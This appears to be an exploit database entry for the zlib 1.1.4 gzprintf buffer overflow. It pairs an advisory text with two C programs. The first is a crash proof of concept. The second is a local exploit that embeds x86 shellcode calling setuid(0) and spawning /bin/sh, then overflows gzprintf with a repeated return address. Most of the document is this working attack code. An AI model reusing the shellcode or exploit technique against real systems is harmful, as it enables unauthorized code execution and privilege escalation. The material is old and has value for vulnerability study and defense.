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Buffer overflow in the gzprintf function in zlib 1.1.4, when zlib is compiled without vsnprintf or when long inputs are truncated using vsnprintf, allows attackers to cause a denial of service or possibly execute arbitrary code.
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Publication date : 2003-02-22 23h00 +00:00 Author : Richard Kettlewel EDB Verified : Yes
// source: https://www.securityfocus.com/bid/6913/info
A buffer-overrun vulnerability has been reported in the Zlib compression library. Due to the use of 'vsprintf()' by an internal Zlib function, an attacker can cause memory to become corrupted. This buffer overrun occurs becuase the software fails to check the boundaries of user-supplied data given to the 'gzprintf()' function.
Successful exploitation of this vulnerability may allow an attacker to execute arbitrary instructions.
Note that only Zlib 1.1.4 has been reported vulnerable to this issue. It is not yet known whether earlier versions are also affected.
#include <zlib.h>
#include <errno.h>
#include <stdio.h>
int main(void) {
gzFile f;
int ret;
if(!(f = gzopen("/dev/null", "w"))) {
perror("/dev/null");
exit(1);
}
ret = gzprintf(f, "%10240s", "");
printf("gzprintf -> %d\n", ret);
ret = gzclose(f);
printf("gzclose -> %d [%d]\n", ret, errno);
exit(0);
}
// source: https://www.securityfocus.com/bid/6913/info
A buffer-overrun vulnerability has been reported in the Zlib compression library. Due to the use of 'vsprintf()' by an internal Zlib function, an attacker can cause memory to become corrupted. This buffer overrun occurs becuase the software fails to check the boundaries of user-supplied data given to the 'gzprintf()' function.
Successful exploitation of this vulnerability may allow an attacker to execute arbitrary instructions.
Note that only Zlib 1.1.4 has been reported vulnerable to this issue. It is not yet known whether earlier versions are also affected.
C local exploit for zlib <= 1.1.4
/ just for fun..not for root :)
\
/ Usage: gcc -o zlib zlib.c -lz
\
/ by CrZ [crazy_einstein@yahoo.com] lbyte
[lbyte.void.ru]
*/
#include <zlib.h>
#include <errno.h>
#include <stdio.h>
int main(int argc, char **argv) {
char shell[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
"\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
"/bin/sh";
gzFile f;
int ret;
long xret;
char cret[10];
char badbuff[10000];
int i;
sprintf(badbuff,"%p",shell);
sscanf(badbuff,"0x%x",&xret);
printf("[>] exploiting...\n");
if(!(f = gzopen("/dev/null", "w"))) {
perror("/dev/null");
exit(1);
}
printf("[>] xret = 0x%x\n",xret);
sprintf(cret,"%c%c%c%c",(xret&0xff)+4,(xret>>8)&0xff,
(xret>>16)&0xff,(xret>>24)&0xff);
bzero(badbuff,sizeof(badbuff));
for(i=0;i<5000;i+=4) strcat(badbuff,cret);
setuid(0);
setgid(0);
ret = gzprintf(stderr, "%s", badbuff );
setuid(0);
setgid(0);
printf(">Sent!..\n");
printf("gzprintf -> %d\n", ret);
ret = gzclose(f);
printf("gzclose -> %d [%d]\n", ret, errno);
exit(0);
}